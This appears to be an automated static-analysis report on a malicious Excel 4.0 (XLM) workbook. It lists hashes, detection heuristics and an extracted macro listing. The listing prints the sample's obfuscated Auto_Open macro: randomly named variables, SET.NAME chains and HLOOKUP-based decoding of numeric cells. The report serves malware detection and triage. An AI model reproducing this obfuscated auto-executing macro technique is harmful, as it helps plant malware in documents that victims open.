Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3272c9bc2c649c1a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:48 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: df22d3744c2b7227f208a9778df93390 SHA-1: 7af5651181ce0bfe24cbf5e47f29aa3607f2ee71 SHA-256: 3272c9bc2c649c1a073850e3d53d0b540b9c91f48d13c4b2c7f9b7154518956e
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6850 bytes
SHA-256: daca20dd8d0c73bbdcb4c58e12d3d8b08ea7ef242e5b820cb3b96ea1603da793
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 36 identifiers look randomly generated (e.g. 'pHpCcTqEKcWT') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dpjZfUsaqtY
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H144 
' 0018     20 LABEL : Cell Value, String Constant - BDQvR len=0 
' 0018     21 LABEL : Cell Value, String Constant - CPLiCh len=0 
' 0018     26 LABEL : Cell Value, String Constant - dJRNsSmVRxi len=0 
' 0018     26 LABEL : Cell Value, String Constant - GbSZsyWHZBV len=0 
' 0018     22 LABEL : Cell Value, String Constant - GhpfdWh len=0 
' 0018     20 LABEL : Cell Value, String Constant - KYMOA len=0 
' 0018     22 LABEL : Cell Value, String Constant - MQfWpTk len=0 
' 0018     22 LABEL : Cell Value, String Constant - nvlPqJb len=0 
' 0018     27 LABEL : Cell Value, String Constant - pHpCcTqEKcWT len=0 
' 0018     23 LABEL : Cell Value, String Constant - PkYchKpb len=0 
' 0018     22 LABEL : Cell Value, String Constant - PNRcvKT len=0 
' 0018     23 LABEL : Cell Value, String Constant - pwnzWUkJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - rLbDn len=0 
' 0018     23 LABEL : Cell Value, String Constant - UWfPnsTK len=0 
' 0018     23 LABEL : Cell Value, String Constant - VFFpYqOB len=0 
' 0018     27 LABEL : Cell Value, String Constant - woDYccJxAOgE len=0 
' 0018     25 LABEL : Cell Value, String Constant - wUROuNVCzN len=0 
' 0018     25 LABEL : Cell Value, String Constant - wYMXOWsXeS len=0 
' 0018     24 LABEL : Cell Value, String Constant - zLcydhKuc len=0 
' 0018     20 LABEL : Cell Value, String Constant - zyCaf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dpjZfUsaqtY,H53,"SET.NAME("UWfPnsTK",0+VALUE("0"))",""
'  dpjZfUsaqtY,H57,"SET.NAME("dJRNsSmVRxi",UWfPnsTK)",""
'  dpjZfUsaqtY,H61,"SET.NAME("MQfWpTk",UWfPnsTK)",""
'  dpjZfUsaqtY,H65,"SET.NAME("woDYccJxAOgE",COUNTA(pHpCcTqEKcWT))",""
'  dpjZfUsaqtY,H67,"SET.NAME("rLbDn",COUNTA(PNRcvKT))",""
'  dpjZfUsaqtY,H71,[],""
'  dpjZfUsaqtY,H75,"SET.NAME("zyCaf","")",""
'  dpjZfUsaqtY,H79,"dJRNsSmVRxi",""
'  dpjZfUsaqtY,T81,"",-776.00000000000000000000
'  dpjZfUsaqtY,T82,"",220.00000000000000000000
'  dpjZfUsaqtY,T83,"",475.00000000000000000000
'  dpjZfUsaqtY,H84,"SET.NAME("GbSZsyWHZBV",HLOOKUP("*",pHpCcTqEKcWT,dJRNsSmVRxi,FALSE))",""
'  dpjZfUsaqtY,T84,"",877.00000000000000000000
'  dpjZfUsaqtY,T85,"",432.00000000000000000000
'  dpjZfUsaqtY,H86,"BDQvR",""
'  dpjZfUsaqtY,T86,"",536.00000000000000000000
'  dpjZfUsaqtY,H89,"SET.NAME("PkYchKpb",UWfPnsTK)",""
'  dpjZfUsaqtY,H93,[],""
'  dpjZfUsaqtY,H97,"PkYchKpb",""
'  dpjZfUsaqtY,H102,"nvlPqJb",""
'  dpjZfUsaqtY,H107,"GhpfdWh",""
'  dpjZfUsaqtY,H109,"pwnzWUkJ",""
'  dpjZfUsaqtY,H113,"SET.NAME("wUROuNVCzN",VALUE(HLOOKUP("*",PNRcvKT,pwnzWUkJ,FALSE)))",""
'  dpjZfUsaqtY,H116,"KYMOA",""
'  dpjZfUsaqtY,H118,"zyCaf",""
'  dpjZfUsaqtY,H123,"MQfWpTk",""
'  dpjZfUsaqtY,H125,NEXT(),""
'  dpjZfUsaqtY,H128,"CPLiCh",""
'  dpjZfUsaqtY,H132,[],""
'  dpjZfUsaqtY,H134,"zLcydhKuc",""
'  dpjZfUsaqtY,H139,NEXT(),""
'  dpjZfUsaqtY,H141,RETURN(),""
'  dpjZfUsaqtY,H167,"SET.NAME("wYMXOWsXeS",H53)",""
'  dpjZfUsaqtY,H171,"pHpCcTqEKcWT",""
'  dpjZfUsaqtY,H175,"SET.NAME("PNRcvKT",R66C13)",""
'  dpjZfUsaqtY,H178,"SET.NAME("zLcydhKuc",186)",""
'  dpjZfUsaqtY,H181,"SET.NAME("VFFpYqOB",8)",""
'  dpjZfUsaqtY,H185,wYMXOWsXeS(),""
'  dpjZfUsaqtY,H186,HALT(),""

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